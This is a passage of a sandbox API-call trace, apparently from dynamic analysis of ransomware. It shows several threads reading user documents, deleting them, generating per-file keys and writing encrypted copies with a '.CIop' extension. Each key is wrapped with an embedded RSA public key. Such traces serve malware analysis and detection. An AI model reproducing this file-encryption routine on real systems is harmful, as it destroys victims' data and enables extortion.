param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\k4LJ2WYGO9QfwUDPoT.doc") returned 118 [0093.162] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\k4LJ2WYGO9QfwUDPoT.doc", dwFileAttributes=0x20) returned 1 [0093.162] StrStrW (lpFirst="k4LJ2WYGO9QfwUDPoT.doc", lpSrch=".CIop") returned 0x0 [0093.162] wsprintfW (in: param_1=0x304e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\k4LJ2WYGO9QfwUDPoT.doc.CIop") returned 123 [0093.162] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\k4LJ2WYGO9QfwUDPoT.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\rmpn_zry5sqnhaj8agld\\k4lj2wygo9qfwudpot.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x490 [0093.163] ReadFile (in: hFile=0x490, lpBuffer=0x638ce8, nNumberOfBytesToRead=0x17960, lpNumberOfBytesRead=0x304e5e8, lpOverlapped=0x0 | out: lpBuffer=0x638ce8*, lpNumberOfBytesRead=0x304e5e8*=0x17960, lpOverlapped=0x0) returned 1 [0093.163] CloseHandle (hObject=0x490) returned 1 [0093.164] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\k4LJ2WYGO9QfwUDPoT.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\rmpn_zry5sqnhaj8agld\\k4lj2wygo9qfwudpot.doc")) returned 1 [0093.165] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2dd0000 [0093.165] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2de0000 [0093.166] SetErrorMode (uMode=0x1) returned 0x1 [0093.166] CryptAcquireContextW (in: phProv=0x304e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x304e5b8*=0x62e108) returned 1 [0093.169] CryptGenKey (in: hProv=0x62e108, Algid=0x1, dwFlags=0x4000, phKey=0x304e5bc | out: phKey=0x304e5bc*=0x5c3010) returned 1 [0093.225] CryptExportKey (in: hKey=0x5c3010, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x304e5ec | out: pbData=0x0*, pdwDataLen=0x304e5ec*=0x94) returned 1 [0093.225] CryptExportKey (in: hKey=0x5c3010, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2de0000, pdwDataLen=0x304e5ec | out: pbData=0x2de0000*, pdwDataLen=0x304e5ec*=0x94) returned 1 [0093.225] CryptDestroyKey (hKey=0x5c3010) returned 1 [0093.225] CryptReleaseContext (hProv=0x62e108, dwFlags=0x0) returned 1 [0093.225] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\k4LJ2WYGO9QfwUDPoT.doc.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\rmpn_zry5sqnhaj8agld\\k4lj2wygo9qfwudpot.doc.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x498 [0093.226] WriteFile (in: hFile=0x498, lpBuffer=0x638ce8*, nNumberOfBytesToWrite=0x17960, lpNumberOfBytesWritten=0x304e5d8, lpOverlapped=0x0 | out: lpBuffer=0x638ce8*, lpNumberOfBytesWritten=0x304e5d8*=0x17960, lpOverlapped=0x0) returned 1 [0093.228] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x17960 [0093.228] WriteFile (in: hFile=0x498, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x304e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x304e5d8*=0x7, lpOverlapped=0x0) returned 1 [0093.228] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x17967 [0093.228] SetErrorMode (uMode=0x1) returned 0x1 [0093.228] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0093.228] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x304d5b8, pcbBinary=0x304d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x304d5b8, pcbBinary=0x304d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0093.228] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x304d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x304d5a0, pcbStructInfo=0x304d598 | out: pvStructInfo=0x304d5a0, pcbStructInfo=0x304d598) returned 1 [0093.228] CryptAcquireContextW (in: phProv=0x304d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x304d5a8*=0x62e7f0) returned 1 [0093.228] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62e7f0, dwCertEncodingType=0x1, pInfo=0x682d40, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x304d5b0 | out: phKey=0x304d5b0*=0x5c2d90) returned 1 [0093.229] CryptEncrypt (in: hKey=0x5c2d90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x304d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x304d5b4*=0x80) returned 1 [0093.229] CryptEncrypt (in: hKey=0x5c2d90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62df70*, pdwDataLen=0x304d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62df70*, pdwDataLen=0x304d5a4*=0x80) returned 1 [0093.229] WriteFile (in: hFile=0x498, lpBuffer=0x62df70*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x304e5d8, lpOverlapped=0x0 | out: lpBuffer=0x62df70*, lpNumberOfBytesWritten=0x304e5d8*=0x80, lpOverlapped=0x0) returned 1 [0093.229] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.230] VirtualFree (lpAddress=0x2dd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.231] VirtualFree (lpAddress=0x2de0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.231] CloseHandle (hObject=0x498) returned 1 [0093.234] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\k4LJ2WYGO9QfwUDPoT.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\rmpn_zry5sqnhaj8agld\\k4lj2wygo9qfwudpot.doc")) returned 0 Thread: id = 94 os_tid = 0xa5c [0093.235] lstrcpyA (in: lpString1=0x314e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0093.235] lstrcpyW (in: lpString1=0x314f368, lpString2="Qq3R.ots" | out: lpString1="Qq3R.ots") returned="Qq3R.ots" [0093.235] lstrcpyW (in: lpString1=0x314f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" [0093.235] SetErrorMode (uMode=0x1) returned 0x1 [0093.236] wsprintfW (in: param_1=0x314eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\Qq3R.ots") returned 104 [0093.236] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\Qq3R.ots", dwFileAttributes=0x20) returned 1 [0093.236] StrStrW (lpFirst="Qq3R.ots", lpSrch=".CIop") returned 0x0 [0093.236] wsprintfW (in: param_1=0x314e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\Qq3R.ots.CIop") returned 109 [0093.236] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\Qq3R.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\rmpn_zry5sqnhaj8agld\\qq3r.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x47c [0093.237] ReadFile (in: hFile=0x47c, lpBuffer=0x638ce8, nNumberOfBytesToRead=0x4590, lpNumberOfBytesRead=0x314e5e8, lpOverlapped=0x0 | out: lpBuffer=0x638ce8*, lpNumberOfBytesRead=0x314e5e8*=0x4590, lpOverlapped=0x0) returned 1 [0093.237] CloseHandle (hObject=0x47c) returned 1 [0093.237] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\Qq3R.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\rmpn_zry5sqnhaj8agld\\qq3r.ots")) returned 1 [0093.240] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2dd0000 [0093.240] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2de0000 [0093.240] SetErrorMode (uMode=0x1) returned 0x1 [0093.240] CryptAcquireContextW (in: phProv=0x314e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x314e5b8*=0x62e108) returned 1 [0093.242] CryptGenKey (in: hProv=0x62e108, Algid=0x1, dwFlags=0x4000, phKey=0x314e5bc | out: phKey=0x314e5bc*=0x5c3050) returned 1 [0093.272] CryptExportKey (in: hKey=0x5c3050, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x314e5ec | out: pbData=0x0*, pdwDataLen=0x314e5ec*=0x94) returned 1 [0093.272] CryptExportKey (in: hKey=0x5c3050, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2de0000, pdwDataLen=0x314e5ec | out: pbData=0x2de0000*, pdwDataLen=0x314e5ec*=0x94) returned 1 [0093.272] CryptDestroyKey (hKey=0x5c3050) returned 1 [0093.272] CryptReleaseContext (hProv=0x62e108, dwFlags=0x0) returned 1 [0093.272] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\Qq3R.ots.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\rmpn_zry5sqnhaj8agld\\qq3r.ots.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x47c [0093.272] WriteFile (in: hFile=0x47c, lpBuffer=0x638ce8*, nNumberOfBytesToWrite=0x4590, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x638ce8*, lpNumberOfBytesWritten=0x314e5d8*=0x4590, lpOverlapped=0x0) returned 1 [0093.273] SetFilePointer (in: hFile=0x47c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4590 [0093.273] WriteFile (in: hFile=0x47c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x314e5d8*=0x7, lpOverlapped=0x0) returned 1 [0093.273] SetFilePointer (in: hFile=0x47c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4597 [0093.273] SetErrorMode (uMode=0x1) returned 0x1 [0093.273] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0093.273] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x314d5b8, pcbBinary=0x314d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x314d5b8, pcbBinary=0x314d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0093.273] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x314d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x314d5a0, pcbStructInfo=0x314d598 | out: pvStructInfo=0x314d5a0, pcbStructInfo=0x314d598) returned 1 [0093.273] CryptAcquireContextW (in: phProv=0x314d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d5a8*=0x62ea98) returned 1 [0093.274] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62ea98, dwCertEncodingType=0x1, pInfo=0x682e10, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x314d5b0 | out: phKey=0x314d5b0*=0x5c2dd0) returned 1 [0093.274] CryptEncrypt (in: hKey=0x5c2dd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x314d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x314d5b4*=0x80) returned 1 [0093.274] CryptEncrypt (in: hKey=0x5c2dd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62e548*, pdwDataLen=0x314d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62e548*, pdwDataLen=0x314d5a4*=0x80) returned 1 [0093.274] WriteFile (in: hFile=0x47c, lpBuffer=0x62e548*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x62e548*, lpNumberOfBytesWritten=0x314e5d8*=0x80, lpOverlapped=0x0) returned 1 [0093.274] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.274] VirtualFree (lpAddress=0x2dd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.274] VirtualFree (lpAddress=0x2de0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.274] CloseHandle (hObject=0x47c) returned 1 [0093.275] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\Qq3R.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\rmpn_zry5sqnhaj8agld\\qq3r.ots")) returned 0 Thread: id = 95 os_tid = 0x7fc [0093.846] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0093.846] lstrcpyW (in: lpString1=0x2f0f368, lpString2="0KK10L8Yj9PSdD5_rlI8.pptx" | out: lpString1="0KK10L8Yj9PSdD5_rlI8.pptx") returned="0KK10L8Yj9PSdD5_rlI8.pptx" [0093.846] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0093.846] SetErrorMode (uMode=0x1) returned 0x1 [0093.846] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\0KK10L8Yj9PSdD5_rlI8.pptx") returned 100 [0093.846] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\0KK10L8Yj9PSdD5_rlI8.pptx", dwFileAttributes=0x20) returned 1 [0093.846] StrStrW (lpFirst="0KK10L8Yj9PSdD5_rlI8.pptx", lpSrch=".CIop") returned 0x0 [0093.847] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\0KK10L8Yj9PSdD5_rlI8.pptx.CIop") returned 105 [0093.847] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\0KK10L8Yj9PSdD5_rlI8.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\0kk10l8yj9psdd5_rli8.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x494 [0093.847] ReadFile (in: hFile=0x494, lpBuffer=0x62c5e8, nNumberOfBytesToRead=0x7e4, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x62c5e8*, lpNumberOfBytesRead=0x2f0e5e8*=0x7e4, lpOverlapped=0x0) returned 1 [0093.847] CloseHandle (hObject=0x494) returned 1 [0093.847] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\0KK10L8Yj9PSdD5_rlI8.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\0kk10l8yj9psdd5_rli8.pptx")) returned 1 [0093.849] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0093.849] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0093.849] SetErrorMode (uMode=0x1) returned 0x1 [0093.849] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x62e190) returned 1 [0093.852] CryptGenKey (in: hProv=0x62e190, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5c3310) returned 1 [0093.946] CryptExportKey (in: hKey=0x5c3310, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0093.946] CryptExportKey (in: hKey=0x5c3310, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0093.946] CryptDestroyKey (hKey=0x5c3310) returned 1 [0093.946] CryptReleaseContext (hProv=0x62e190, dwFlags=0x0) returned 1 [0093.946] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\0KK10L8Yj9PSdD5_rlI8.pptx.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\0kk10l8yj9psdd5_rli8.pptx.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x494 [0093.947] WriteFile (in: hFile=0x494, lpBuffer=0x62c5e8*, nNumberOfBytesToWrite=0x7e4, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x62c5e8*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7e4, lpOverlapped=0x0) returned 1 [0093.947] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7e4 [0093.947] WriteFile (in: hFile=0x494, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0093.947] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7eb [0093.947] SetErrorMode (uMode=0x1) returned 0x1 [0093.947] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0093.947] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 